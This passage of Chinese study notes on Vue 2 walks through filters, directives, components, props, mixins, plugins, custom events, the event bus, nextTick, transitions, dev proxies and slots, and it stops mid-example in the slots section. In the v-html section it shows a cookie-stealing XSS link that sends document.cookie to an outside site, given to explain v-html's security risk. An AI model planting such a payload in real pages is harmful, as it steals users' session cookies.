<h3>通用过滤器:{{time | timeFormater("YYYY_MM_DD")}}</h3>
<h3>串联过滤器:{{time | timeFormater("YYYY_MM_DD") | mySlice}}</h3>
<h3 :x="hello | mySlice">dexter</h3>
</div>
<div id="root2">
<h3>{{hello | mySlice}}</h3>
</div>
<script>
//全局过滤器
Vue.filter("mySlice", function(value) {
return value.slice(0,4);
});
new Vue({
el: "#root",
data: {
time: 1641042144205,
hello: "hello,dexter"
},
computed: {
fmtTime() {
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
}
},
methods: {
getFmtTime() {
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
}
},
//局部过滤器
filters: {
timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss") {
return dayjs(value).format(str);
},
mySlice(value) {
return value.slice(0,4);
}
}
});
new Vue({
el: "#root2",
data: {
hello: "hello,word"
}
});
</script>
过滤器的作用就是对要显示的数据进行特定的格式化后再显示(适用于一些简单逻辑的处理)。
写在vue实例中的过滤器函数,只能在当前的实例中使用。而通过Vue.filter()定义的过滤器是全局的过滤器,可以在多个vue实例中使用。
过滤器只能在插值语法和v-bind中使用。
过滤器的串联形式如{{time | timeFormater("YYYY_MM_DD") | mySlice}}vue会将time的值作为函数timeFormater的第一个参数传入,如果timeFormater函数没有额外的参数,则在调用的时候也可以不加()。自己额外添加的参数会作为函数的第二个参数传入。timeFormater函数的返回值会作为函数mySlice的第一个参数传入,参数规则与前面相同。mySlice函数的返回值则作为整个插值语法的值展示在页面上。
备注: 过滤器并没有改变原来的数据,而是临时产生新的数据。
17、内置指令
(1)v-text
<div id="root">
<div>hello,{{name}}</div>
<div v-text="name"></div>
</div>
<script>
new Vue({
el: "#root",
data: {
name: "dexter"
}
})
</script>
v-text指令的作用是向所在的节点中渲染文本内容,和差值语法的区别是v-text会替换掉节点中的内容,因此如果标签体为空时可以使用v-text展示内容。
(2)v-html
<div id="root">
<div v-html="str"></div>
</div>
<script>
new Vue({
el: "#root",
data: {
str: "<a href=javascript:location.href='https://www.baidu.com?'+document.cookie>好东西,快点</a>"
}
})
</script>
v-html与v-text在形式上的区别是v-html可以解析html结构v-text不可以。
备注: v-html存在的安全性问题,如上述代码中,将字符串中的结构解析成html代码,在用户点击的时候获取到当前网页的cookie并拼接到目标网站地址发送请求,也就是xss攻击。
(3)v-cloak
<style>
[v-cloak] {
display: none;
}
</style>
<div id="root">
<h3 v-cloak>{{name}}</h3>
</div>
<script src="http: //localhost:8000/resource/5s/vue.js"></script>
<script>
new Vue({
el: "#root",
data: {
name: 'dexter'
}
})
</script>
v-cloak指令是一个属性,没有值。
vue实例创建完毕并接管容器后,会删掉v-cloak属性。使用css配合v-cloak可以解决网速慢时页面渲染问题。
(4)v-once
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
new Vue({
el: "#root",
data: {
n: 1
}
})
</script>
v-once所在的节点在初次动态渲染后,就视为静态内容了。以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
和v-cloak相同,v-once是一个属性,没有值。
(5)v-pre
<div id="root">
<h2 v-pre>点击+1</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
new Vue({
el: "#root",
data: {
n: 1
}
})
</script>
v-pre指令可以跳过其所在节点的编译过程,即将所在标签当做原始的html标签交给浏览器,不再通过vue解析。可以利用这个指令跳过没有使用指令语法、没有使用插值语法的节点,加快编译过程。
18、自定义指令
(1)函数形式
定义一个v-big指令,和v-text功能类似,但是会把绑定的数值放大10倍
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
</div>
<script>
new Vue({
el: "#root",
data: {
n: 1
},
directives: {
big(element, binding) {
element.innerText = binding.value * 10;
}
}
})
</script>
将函数写在directives中,vue会将函数名拼接成v-指令。函数接收两个参数,第一个参数element表示指令所在元素的真实DOM,第二个参数binding表示指令的值。通过在函数中修改DOM节点的值来实现相应的功能。
这种形式本质上还是函数的调用,所定义的函数会在指令与元素成功绑定时(一上来)调用;也会在所在的模板被重新解析时进行调用
(2)对象形式
定义一个v-fbind指令,和v-bind指令的功能类似,但是可以让其所绑定的input元素默认获取焦点
如果使用函数的形式来实现的话,会有一点问题:
<div id="root">
<button @click="n++">点我n+1</button>
<input type="text" v-fbind:value="n">
</div>
<script>
new Vue({
el: "#root",
data: {
n: 1
},
directives: {
fbind(element, binding) {
element.value = binding.value * 10;
element.focus();
}
}
})
</script>
会发现,当页面初次渲染的时候,输入框并没有获取焦点,然而当每次点击按钮之后,输入框都会获取焦点。与预想的结果不一样,这是因为指令函数会在指令与元素成功绑定时调用,由于vue会先解析DOM结构,因此当结构还没有渲染到页面的时候,指令函数就已经执行完毕了,所以初次渲染到页面上的输入框就没有获取焦点。而当再次点击时,输入框已经在页面上了,再次执行指令函数就可以获取到焦点了。
使用指令函数的对象形式解决上述问题:
<div id="root">
<button @click="n++" >点我n+1</button>
<input type="text" v-fbind:value="n">
</div>
<script>
new Vue({
el: "#root",
data: {
n: 1
},
directives: {
fbind: {
bind(element, binding) {
element.value = binding.value * 10;
},
inserted(element, binding) {
element.focus();
},
update(element, binding) {
element.value = binding.value * 10;
}
}
}
})
</script>
对象形式的自定义指令会有三个生命周期,分别是bind、inserted和update。当指令与元素成功绑定时会调用bind,当指令所在元素被插入页面时会调用inserted,当指令所在模板重新解析时会调用update。
备注: 指令名如果是多个单词,要使用kebab-case命名方式,不要使用camelCase命名。
(3)全局指令
将指令定义在new Vue的外部,所定义的指令就可以跨组件使用了,可以通过Vue.directive()实现,要传入两个参数,第一个参数是字符串形式的指令名,第二个参数是一个对象,对象的值为指令函数,如:
Vue.directive("fbind", {
bind(element, binding) {
element.value = binding.value * 10;
},
inserted(element, binding) {
element.focus();
},
update(element, binding) {
element.value = binding.value * 10;
}
})
19、生命周期
关于销毁Vue实例的说明:
销毁后借助Vue开发者工具看不到任何信息;
销毁后自定义事件会失效,但是原生的DOM事件依然有效;
一般不会在beforeDestroy中操作数据,因为即便成功了更新了数据,也不会再触发更新流程了。
二、组件化编程
1、非单文件组件
(1)组件的基本使用
<div id="root">
<h1>{{msg}}</h1>
<school></school>
<student></student>
</div>
<script>
const xuexiao = Vue.extend({
template: `
<div>
<h2>学校名称: {{name}}</h2>
<h2>学校地址: {{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
`,
data() {
return {
name: "HEBEU",
address: "hebei"
}
},
methods: {
showName(){
alert(this.name);
}
}
});
const xuesheng = Vue.extend({
template: `
<div>
<h2>学生名称: {{name}}</h2>
<h2>学生地址: {{address}}</h2>
</div>
`,
data() {
return {
name: "dexter",
address: "henan"
}
},
});
new Vue({
el: "#root",
data: {
msg: "hello"
},
components: {
school: xuexiao,
student: xuesheng
}
})
</script>
上述方式组件都是在当前的实例内部进行的局部注册,也可以将所创建的组件在全局进行注册,这样组件就可以跨实例进行使用了,如:
const hello = Vue.extend({
template: `
<div>
<h2>{{msg}}</h2>
</div>
`,
data() {
return {
msg: "hello"
}
}
});
Vue.component("hello", hello);
注意事项:
-
组件中的
data属性必须写成函数形式,避免组件复用时数据存在引用关系,如果写成了对象形式会报错。 -
组件名的书写
-
组件名是一个单词组成时
- 第一种写法(首字母小写):
school - 第二种写法(首字母大写):
School
- 第一种写法(首字母小写):
-
组件名是多个单词组成时
- 第一种写法(kebab-case命名):
my-school(由于js限制,注册组件时要写成字符串形式) - 第二种写法(Camel-Case命名):
MySchool(这种写法仅在脚手架中可行)
- 第一种写法(kebab-case命名):
-
备注
- 组件名尽可能回避HTML中已有的元素名称
- 可以在组件中配置
name属性来指定该组件在开发者工具中呈现的名字
-
-
创建组件的简写方式
const school = Vue.extend(options)可简写为const school = options
(2)组件的嵌套
<div id="root">
<app></app>
</div>
<script>
const hello = Vue.extend({
template: `<h2>{{msg}}</h2>`,
data() {
return {
msg: "hello"
}
},
});
const student = Vue.extend({
template: `
<div>
<h2>学生姓名: {{name}}</h2>
<h2>学生地址: {{age}}</h2>
</div>
`,
data() {
return {
name: "dexter",
age: 18
}
},
});
const school = Vue.extend({
template: `
<div>
<h2>学校姓名: {{name}}</h2>
<h2>学校地址: {{address}}</h2>
<student></student>
</div>
`,
data() {
return {
name: "hebeu",
address: "hebei"
}
},
components: {
student
}
});
const app = Vue.extend({
template: `
<div>
<hello></hello>
<school></school>
</div>
`,
components: {
school,
hello
}
});
new Vue({
el: "#root",
components: {
app
}
})
</script>
在开发者工具中的呈现:
(3)VueComponent构造函数
在上述代码中添加输出语句console.log("@",school),可以看到控制台输出
可以看到school组件的本质是一个名为VueComponent的构造函数,且并不是程序员定义的,而是Vue.extend生成的。我们只需要写<school></school>标签,Vue解析时会帮我们创建school组件的实例对象,即vue帮我们执行了new VueComponent(options)。
需要注意的是,每次调用Vue.extend时,返回的都是一个全新的VueComponent。Vue的源码中是这样写的:
Vue.extend = function(extendOptions) {
/*......*/
var Sub = function VueComponent(options) {
this._init(options);
};
/*......*/
return Sub;
};
我们每次在执行Vue.extend的时候,Vue底层都会新创建一个VueComponent并返回,因此每次都是全新的。
关于this的指向问题:
-
组件配置中
data函数、methods中的函数、watch中的函数、computed中的函数,他们的this指向都是
VueComponent实例对象。 -
new Vue(options)配置中data函数、methods中的函数、watch中的函数、computed中的函数,他们的this的指向都是Vue实例对象。
在
new Vue()中输出this可以看到其为Vue实例对象,而VueComponent则被归到了Vue实例中的Children属性中。
(4)一个重要的内置关系
关于js原型链的一点回顾
//定义一个构造函数
function Demo() {
this.a = 1;
this.b = 2;
}
//创建Demo的实例对象
const d = new Demo();
console.log(Demo.prototype);//显式原型属性
console.log(d.__proto__);//隐式原型属性
console.log(Demo.prototype === d.__proto__);//显式原型与隐式原型本质上是一个东西
//程序员通过显式原型属性操作原型对象,为构造函数追加一个x属性,属性值为99
Demo.prototype.x = 99;
console.log("@", d);
程序执行完在控制台输出:
一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
这样做的目的让组件的实例对象(VueComponent)可以访问到Vue原型上的属性和方法,这也就是为什么在编写组件时所能够使用data、methods这些属性的原因。
2、单文件组件
-
普通组件的编写
<template> <div class="demo"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> </template> <script> export default { name: "School", data() { return { name: "hebeu", address: "hebei" } }, methods: { showName() { alert(this.name); } }, } </script> <style> .demo { background-color: aqua; } </style> -
App组件的编写
<template> <div> <School/> <Student/> </div> </template> <script> import School from "./School.vue"; import Student from "./Student.vue"; export default { name: "App", components: { School, Student } } </script> -
入口js文件的编写
import App from "./App.vue"; new Vue({ el: "#root", template: `<App/>`, components: {App} });
三、Vue脚手架的使用
1、初始化脚手架
全局安装vue脚手架:npm install -g @vue/cli
创建vue项目:vue create xxx
选择vue版本
需要注意的是,脚手架中的main.js文件中的编写方式和前面所写的方式有所不同:
import Vue from 'vue'
import App from './App.vue'
Vue.config.productionTip = false
new Vue({
render: h => h(App),
}).$mount('#app')
对不同版本vue的说明:
-
vue.js与vue.runtime.xxx.js的区别
- vue.js是完整版的vue,包含核心功能和模板编译器
- vue.runtime.xxx.js是运行版的vue,只包含核心功能,没有模板编译器
-
因为vue.runtime.xxx.js没有模板编译器,所以不能使用
template配置项,需要使用render函数接收到的createElement函数去指定具体的内容。
修改vue脚手架的默认配置:
-
使用
vue inspect > output.js可以查看到vue脚手架的默认配置(只是副本) -
在根目录编写vue.config.js文件可以对脚手架进行个性化的定制,详见cli.vuejs.org/zh
module.export = { pages: { index: { entry: 'src2/main.js' } }, lintOnSave: false };上述代码修改了vue脚手架的默认配置,修改了入口js文件的位置,并且关闭了语法检查。
2、ref属性
ref属性被用来给元素或子组件注册引用信息(id的替代者),将ref应用在html标签上获取的是真实的DOM元素,应用在组件标签上时获取的是组件实例对象(VueComponent)。
<template>
<div>
<h1 v-text="msg" ref="title"></h1>
<button ref="btn" @click="showDOM">点我输出上方DOM元素</button>
<School ref="sch"/>
</div>
</template>
<script>
import School from "./components/School.vue"
export default {
name: "App",
components: {School},
data() {
return {
msg: "欢迎学习vue"
}
},
methods: {
showDOM() {
console.log(this.$refs);
}
},
}
</script>
可以在控制台上看到,this.$refs是一个对象,包含了当前组件中所有标记ref的DOM元素
注意: ref和id引用在html标签上时的效果是一样的,但是应用在组件身上的效果就不同了。将ref应用在组件身上可以得到组件实例对象即VueComoponent,而如果为组件添加id属性然后用document.getElementById来获取组件元素,得到的是该组件的DOM结构,如下所示:
3、props属性
props属性可以让组件接收到外部传进来的数据。
-
传递数据
<Student name="zhangsan" sex="female" :age="19" />将一组组key&value写在组件标签中即可为子组件传递数据,注意不要使用vue已经声明的关键字。
备注: 使用props传递的参数默认都会转换成字符串,因此这里
age的值即使写成数字类型接收的时候也会自动转化成字符串类型,不方便后期操作。可以使用v-bind动态绑定值,写成:age="19"的形式后,vue会计算等号右边的表达式,将得到的结果赋值给age传递给子组件。 -
接收数据
<template> <div class="school"> <h1>{{msg}}</h1> <h2>学生姓名:{{name}}</h2> <h2>学生性别:{{sex}}</h2> <h2>学生年龄:{{myAge}}</h2> <button @click="updateAge">尝试修改得到的年龄</button> </div> </template> <script> export default { name: "Student", props: ["name", "sex", "age"], data() { return { msg: "I am a student", myAge: this.age } }, methods: { updateAge() { this.myAge++; } } } </script>上面接收数据的方式是最简单的接受方式,还可以对接收到的数据进行类型限制,如下所示:
props: { name: String, sex: String, age: Number }最完整的接收数据的方式不仅可以限制数据类型,还可以对数据的必要性和默认值进行限制,如下所示:
props: { name: { type: String, required: true }, age: { type: Number, default: 99 }, sex: { type: String, required: true } }备注: props是只读的,vue底层会检测对props的修改,如果进行了修改,就会发出警告,如果业务需求确实需要修改props中的数据,可以将props中的数据复制到data中,然后去修改data中的数据。这里用到的原理是props的优先级高于data的优先级,所以当props和data发生冲突时,vue会优先使用props中的数据。
4、mixin混入
mixin可以把多个组件公用的配置提取成一个混入对象。
-
定义一个mixin的js文件
export const mixin1 = { methods: { showName() { alert(this.name); } } }; export const mixin2 = { data() { return { x: 100, y: 200 } }, mounted() { console.log("挂载了"); }, }; -
在组件中使用mixin
<template> <div> <h2 @click="showName">学校姓名:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> import { mixin1, mixin2 } from "../mixin"; export default { name: "School", data() { return { name: "hebeu", address: "hebei", x: 666 } }, mixins: [mixin1, mixin2], mounted() { console.log("挂载了!!!"); } } </script>注意: 如果在mixin中定义了与组件中相同的data数据或者方法,则组件的优先级高于mixin的优先级。而如果mixin与组件中使用了相同的生命周期方法,则两者的生命周期方法都会执行,但是mixin中的方法要先于组件执行。
-
全局混入
上面使用的方式是在组件内部局部混入,vue中还可以使用全局混入,即将mixin引入到main.js文件中(如下所示),这样在mixin中定义的方法和数据在整个项目中都可以复用了。
import Vue from "vue"; import App from "./App.vue"; import { mixin1, mixin2 } from "../mixin"; Vue.mixin(mixin1) Vue.mixin(mixin2) new Vue({ el: "#app", render: h => h(App) })
5、插件
插件可用于增强vue的功能。插件的本质是包含install方法的一个对象,install方法的第一个参数是Vue,第二个及以后的参数是插件的使用者传递的数据。
在根目录定义插件plugins.js文件:
export default {
install(Vue) {
//全局过滤器
Vue.filter("mySlice", function(value) {
return value.slice(0,5);
})
//全局指令
Vue.directive("fbind", {
bind(element, binding) {
element.value = binding.value + "bind";
},
inserted(element) {
element.focus();
},
update(element, binding) {
element.value = binding.value + "bind";
}
})
//定义混入
Vue.mixin({
data() {
return {
x: 100,
y: 200
}
},
})
//给vue原型上添加一个方法(vm和vc就都能用了)
Vue.prototype.hello = () => { alert("hello") };
}
}
在main.js文件中引入插件并使用:
import plugins from "./plugins";
Vue.use(plugins)
在项目中使用插件中所配置的功能或者数据:
<template>
<div>
<h2>学校姓名:{{name | mySlice}}</h2>
<h2>学校地址:{{address}}</h2>
<input type="text" v-fbind:value="name">
<button @click="test">点我测试hello</button>
</div>
</template>
<script>
export default {
name: "School",
data() {
return {
name: "hebeu+",
address: "hebei"
}
},
methods: {
test() {
this.hello()
}
},
}
</script>
6、scoped样式
scoped的作用是让样式在局部生效,防止冲突。
<style scoped>
.demo {
background-color: blue;
}
</style>
原理是vue会在对应的html标签上添加一个随机的属性,然后使用属性选择器为其添加对应的样式。
7、webStorage
浏览器存储的内容大小一般支持5M左右,不同的浏览器可能不一样。浏览器通过Window.localStorage和Window.sessionStorage属性来实现本地存储机制。
相关的API:
xxxStorage.setItem("key", "value"),该方法接收一个键和值作为参数,会把键值对添加到存储中,如果键名存在则更新其对应的值。
xxxStorage.getItem("key"),该方法接收一个键名作为参数,返回键名所对应的值。
xxxStorage.removeItem("key"),该方法接收一个键名作为参数,并把该键名从存储中删除。
xxxStorage.clear(),该方法会清空存储中的所有数据。
备注:
SessionStorage中存储的内容会随着浏览器窗口的关闭而消失;
LocalStorage存储的内容需要手动删除才会消失;
使用setItem存储数据时,key对应的value值必须是字符串形式,如果不是,则会自动转换成字符串形式进行存储。而对象被转换成字符串后会变成[object Object],后期没办法使用。因此在存储对象数据时,要先对对象执行JSON.stringify(),将其转换成json格式进行存储。
当调用getItem("xxx")方法时,如果xxx对应的value获取不到,则会返回null;而使用JSON.parse(null)的结果依然是null。
8、自定义事件
自定义事件是一种组件间的通信方式,适用于子组件向父组件传递数据。
绑定自定义事件:
(1)v-on方式绑定
先在父组件中为子组件绑定自定义事件
<template>
<div class="app">
<Student v-on:dexter="getStudentName" />
</div>
</template>
<script>
import Student from "../src/components/Student.vue";
export default {
name: "App",
components: {Student},
methods: {
getStudentName(name) {
console.log(name);
}
},
}
</script>
在子组件中触发自定义事件:this.$emit("事件名", 数据)
<template>
<div class="student">
<h2>学生姓名:{{name}}</h2>
<h2>学生性别:{{sex}}</h2>
<button @click="sendStudentName">点我获取学生姓名</button>
</div>
</template>
<script>
export default {
name: "Student",
data() {
return {
name: "zhangsan",
sex: "male"
}
},
methods: {
sendStudentName() {
this.$emit("dexter", this.name)
}
},
}
</script>
(2)ref方式绑定
先在父组件中为子组件绑定自定义事件
<template>
<div class="app">
<h2>{{studentName}}</h2>
<Student ref="student" />
</div>
</template>
<script>
import Student from "../src/components/Student.vue";
export default {
name: "App",
components: {Student},
data() {
return {
studentName: ""
}
}
methods: {
getStudentName(name) {
this.studentName = name;
}
},
mounted() {
this.$refs.student.$on("dexter", this.getStudentName)
}
}
</script>
子组件中触发自定义事件的方式和上面的写法一样。
注意: 在这种写法中,一般将自定义事件的回调写在methods中,然后通过this调用。如果直接将事件回调写在了mounted中,如下面这种形式:
mounted() {
this.$refs.student.$on("dexter", function(name) {
this.studentName = name;
})
}
这种写法function内部的this是被绑定了自定义事件的组件的实例对象,即Student组件的VueComponent,所以这样写并不能够更改当前组件中的studentName值。
而如果将事件回调写在了methods中,则回调函数的this就是当前组件的实例对象。
如果非要将事件回调写在mounted中,可以将函数写成箭头函数的形式,由于箭头函数没有自己的this,vue在处理时会默认向上层寻找this的值,就会找到当前组件的实例对象了。
备注: 如果想让自定义事件只能触发一次,可以使用once修饰符,或者$once方法。
(3)解绑自定义事件
-
解绑单个自定义事件
<template> <div class="student"> <button @click="unbind">解绑dexter事件</button> </div> </template> <script> export default { name: "Student", methods: { unbind() { this.$off("dexter") } }, } </script> -
解绑多个自定义事件
可以为
$off传入一个数组来解绑多个事件unbind() { this.$off(["dexter", "haha"]) }如果只写了
$off()什么也不传,则会解绑该组件上绑定的所有自定义事件。
备注: 当组件执行了this.$destroy()之后,该组件会被销毁,销毁后其身上所有的自定义事件都会解绑,但是原生事件的触发并不会受到影响,但是数据不能动态绑定了。
(4)为组件绑定原生事件
可以为事件名添加.native后缀来为组件绑定默认事件
<Student @click.native="show">
9、全局事件总线
全局事件总线(GlobalEventBus)是一种组件间的通信方式,适用于任意组件间通信。
-
安装全局事件总线
由于自定义事件所使用的
$on、$emit、$off都是组件实例身上的属性,根据vue的原型链(一个重要的内置关系),可以为项目的Vue原型上绑定一个对象,该对象的值就是当前项目所new出来的vm。这样一来,整个项目中所有的组件都可以访问到vm中的方法了。下面在main.js中安装事件总线:import Vue from "vue"; import App from "./App.vue"; Vue.config.productionTip = false; new Vue({ el: "#app", beforeCreate() { Vue.prototype.$bus = this; }, render: h => h(App) }) -
使用事件总线
为事件总线绑定自定义事件
<template> <div class="school"> <h2>学校姓名:{{name}}</h2> </div> </template> <script> export default { name: "School", data() { return { name: "hebeu" } }, mounted(){ this.$bus.$on("getStudentName", (value) => { console.log("school收到", value); }) }, beforeDestroy() { this.$bus.$off("getStudentName") } } </script>在兄弟组件中触发自定义事件
<template> <div class="student"> <h2>学生姓名:{{name}}</h2> <button @click="sendNameToSchool">把学生名给school组件</button> </div> </template> <script> export default { name: "Student", data() { return { name: "zhangsan" } }, methods: { sendNameToSchool() { this.$bus.$emit("getStudentName", this.name) } }, } </script>
这样的做法将事件的回调与触发都留在了组件自身,但是将事件绑定在了Vue的原型上,因此所绑定的事件所有的组件都能够访问到,当事件被触发时,就去相应的组件中寻找其回调调用,实现了任意组件间的通信。
注意: 最好在为事件总线绑定了自定义事件的组件卸载之前解绑该事件,避免Vue因为自定义事件过多显得太臃肿。
10、pubsub
pubsub是一种借助第三方库实现的组件间通信的方式,适用于任意组件间通信。
使用步骤:
安装pubsub库:npm install pubsub-js
在发布与订阅的组件中引入pubsub:import pubsub from "pubsub-js"
发布消息的组件:
<template>
<div class="student">
<h2>学生姓名:{{name}}</h2>
<button @click="sendNameToSchool">把学生名给school组件</button>
</div>
</template>
<script>
import pubsub from "pubsub-js";
export default {
name: "Student",
data() {
return {
name: "zhangsan"
}
},
methods: {
sendNameToSchool() {
pubsub.publish("studentName", this.name)
}
},
}
</script>
订阅消息的组件:
<template>
<div class="school">
<h2>学校姓名:{{name}}</h2>
</div>
</template>
<script>
import pubsub from "pubsub-js";
export default {
name: "School",
data() {
return {
name: "hebeu"
}
},
mounted(){
this.pid = pubsub.subscribe("studentName", (msgName, value) => {
console.log(msgName, value);
})
},
beforeDestroy() {
pubsub.unsubscribe(this.pid)
}
}
</script>
11、nextTick
在vue中,当一个事件的回调中改变了数据,并不会在改变数据的地方停止,立刻重新渲染组件,而是等到该回调执行完毕后再重新渲染组件。
<template>
<input
type="text"
v-show="todo.edit"
:value="todo.title"
@blur="handleBlur(todo, $event)"
ref="inputTitle"
/>
<button v-show="!todo.edit" @click="handleEdit(todo)">编辑</button>
</template>
<script>
export default {
name: "MyItem",
props: ["todo"],
methods: {
handleEdit(todo) {
if(Object.prototype.hasOwnProperty.call(todo, "edit")) {
todo.edit = true;
}else {
this.$set(todo, "edit", true)
}
this.$refs.inputTitle.focus()
}
},
}
</script>
上述代码中想在点击了编辑按钮之后让input框自动获取焦点,但是在点击回调函数中修改了todo的值,所以模板需要重新渲染,但是在渲染之前this.$refs.inputTitle.focus()这段代码就已经执行完了,所以并不能够达到预想的效果。
可以将获取焦点的这段代码写在一个vue内置的函数中,如下所示:
this.$nextTick(function() {
this.$refs.inputTitle.focus()
})
$nextTick(回调函数)是vue内置的一个属性,作用是在下一次DOM更新结束后执行其指定的回调。可以在改变数据后,要基于更新后的新DOM进行某些操作时,可以将该操作写在$nextTick的回调函数中执行。
12、过渡与动画
vue会在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类名
(1)动画实现
实现点击按钮h2标签有移入移出的效果
<template>
<div>
<button @click="isShow=!isShow">显示/隐藏</button>
<transition name="hello" appear>
<h2 v-show="isShow" class="come">你好啊!!</h2>
</transition>
</div>
</template>
<script>
export default {
name: "Test",
data() {
return {
isShow: true
}
},
}
</script>
<style scoped>
h2 {
background-color: aquamarine;
}
.hello-enter-active {
animation: dexter 1s linear;
}
.hello-leave-active {
animation: dexter 1s reverse;
}
@keyframes dexter {
from {
transform: translate(-100%);
}
to {
transform: translate(0px);
}
}
</style>
使用transition标签包裹住要添加动画的标签,vue会自动为其添加合适的类名。如果没有为transition标签指定name属性,则在编写样式时统一使用v-enter-active、v-leave-active。如果想让页面初始加载就执行动画,可以为transition添加appear属性。
(2)过渡实现
<template>
<div>
<button @click="isShow=!isShow">显示/隐藏</button>
<transition-group name="hello" appear>
<h2 v-show="isShow" key="1">你好啊!!</h2>
<h2 v-show="isShow" key="2">你好啊!!</h2>
</transition-group>
</div>
</template>
<script>
export default {
name: "Tes2",
data() {
return {
isShow: true
}
},
}
</script>
<style scoped>
h2 {
background-color: aquamarine;
}
/* 进入的起点和离开的终点 */
.hello-enter, .hello-leave-to {
transform: translateX(-100%);
}
.hello-enter-active,.hello-leave-active {
transition: 0.5s linear;
}
/* 进入的终点和离开的起点 */
.hello-enter-to, hello-leave {
transform: translateX(0);
}
</style>
使用过渡效果需要为元素的进入和离开的起点和终点都编写样式。
如果想在transition中让多个标签有同样的效果,需要使用transition-group标签,且里面的元素都要添加key值。
注意: 按理说transition: 0.5s linear;写在h2标签内也是可以生效的,但是亲测发现如果写在了h2标签内使用transition时过渡效果正常显示,使用transition-group多次点击后动画效果就不是预想的那样了,但是写在.hello-enter-active,.hello-leave-active中就没有问题。
(3)第三方库实现
这里使用了第三方库Animate.css库实现
安装npm install animate.css --save
<template>
<div>
<button @click="isShow=!isShow">显示/隐藏</button>
<transition
appear
name="animate__animated animate__bounce"
enter-active-class="animate__backInUp"
leave-active-class="animate__backOutUp"
>
<h2 v-show="isShow">你好啊!!</h2>
</transition>
</div>
</template>
<script>
import 'animate.css';
export default {
name: "Tes3",
data() {
return {
isShow: true
}
},
}
</script>
<style scoped>
h2 {
background-color: aquamarine;
transition: 0.5s linear;
}
</style>
四、vue中的ajax
1、vue脚手架配置代理
(1)一个代理
在vue.config.js中添加如下配置:
devServer: {
proxy: 'http://localhost:5000'
}
工作方式:当请求了前端不存在的资源时,会将请求转发给服务器,但是如果前端有想要的资源(public文件中有相应的文件)时,则会优先匹配前端资源。
优点: 配置简单,请求资源时直接发给前端(8080)即可
缺点: 不能配置多个代理,不能灵活的控制请求是否走代理
(2)多个代理
在vue.config.js中添加如下配置: js
devServer: {
proxy: {
"dexter": {
target: "http://localhost:5000",
pathRewrite: {"^/dexter": ""},
ws: true,
changeOrigin: true
},
"jun": {
target: "http://localhost:5001",
pathRewrite: {"^/jun": ""},
ws: true,
changeOrigin: true
}
}
}
这样做可以为多个服务器端口配置代理,为了区别本地资源和服务器资源,为每个端口都配置一个独特的开头,因此在请求资源时也要加上这一个匹配前缀:
getStudents() {
axios.get("http://localhost:8080/dexter/students").then(response => {
console.log("请求成功",response.data);
}, error => {
console.log("请求失败", error.message);
})
},
getCars() {
axios.get("http://localhost:8080/jun/cars").then(response => {
console.log("请求成功",response.data);
}, error => {
console.log("请求失败", error.message);
})
}
添加的这一个匹配前缀仅仅是为了做标记,如果按着这个地址去请求资源并不能请求到,因此要通过pathRewrite属性将转发请求时的地址修改为正确的地址。
ws属性表示是否支持webSocket
changeOrigin属性表示是否修改转发请求的端口号,如上例中,如果将其设置为true,则服务器收到的请求头中的host为:localhost:5000,如果设置为false,则服务器收到的请求头中的host为:localhost:8080。
2、vue-resource
vue-resource是vue 1时推出的发送请求的一款插件,是对原生xhr的封装,使用时在main.js中引入后,用Vue.use()将其挂载到Vue原型对象上。发送请求的方式和返回值和axios一样,返回值也一样,只需将原来的axios关键字改成this.$http就行了。
了解即可!!
3、插槽
插槽的作用是让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于父组件===>子组件
(1)默认插槽
在父组件中将操作数据的结构写在子组件标签体内
<template>
<div class="container">
<Category title="美食">
<img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="美食">
</Category>
<Category title="游戏">
<ul>
<li v-for="(item, index) in games" :key="index">{{item}}</li>
</ul>
</Category>
<Category title="电影">
<video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
</Category>
</div>
</template>
<script>
import Category from "./components/Category.vue";
export default {
name: "App",
components: {Category},
data() {
return {
foods: ["火锅", "烧烤", "小龙虾", "牛排"],
games: ["英雄联盟", "穿越火线", "QQ飞车", "王者荣耀"],
films: ["《教父》", "《星际穿越》", "《小妇人》", "《指环王》"]
}
},
}
</script>
在子组件中直接编写slot标签就可以接收到相应的结构
<template>
<div class="category">
<h3>{{title}}分类</h3>
<slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
export default {
name: "Category",
props: ["title"]
}
</script>
(2)具名插槽
默认插槽使用一个slot标签接收父组件传入的所有html结构,而具名插槽则可以编写多个slot标签,用于将父组件传入的结构进行分类展示。
在子组件中为每个slot标签添加name属性
<template>
<div class="category">
<h3>{{title}}分类</h3>
<slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
<slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
export default {
name: "Category",
props: ["title"]
}
</script>
在父组件中为不同的结构添加slot属性,属性值为子组件中的slot名,表示要将该结构添加到对应的slot中
<template>
<div class="container">
<Category title="美食">
<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="美食">
<a slot="footer" href="https://www.baidu.com">更多美食</a>
</Category>
<Category title="游戏">
<ul slot="center">
<li v-for="(item, index) in games" :key="index">{{item}}</li>
</ul>
<div class="foot" slot="footer">
<a href="https://www.baidu.com">单机游戏</a>
<a href="https://www.baidu.com">网络游戏</a>
</div>
</Category>
<Category title="电影">
<video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
<template v-slot:footer>
<div class="foot">
<a href="https://www.baidu.com">经典</a>
<a href="https://www.baidu.com">热门</a>
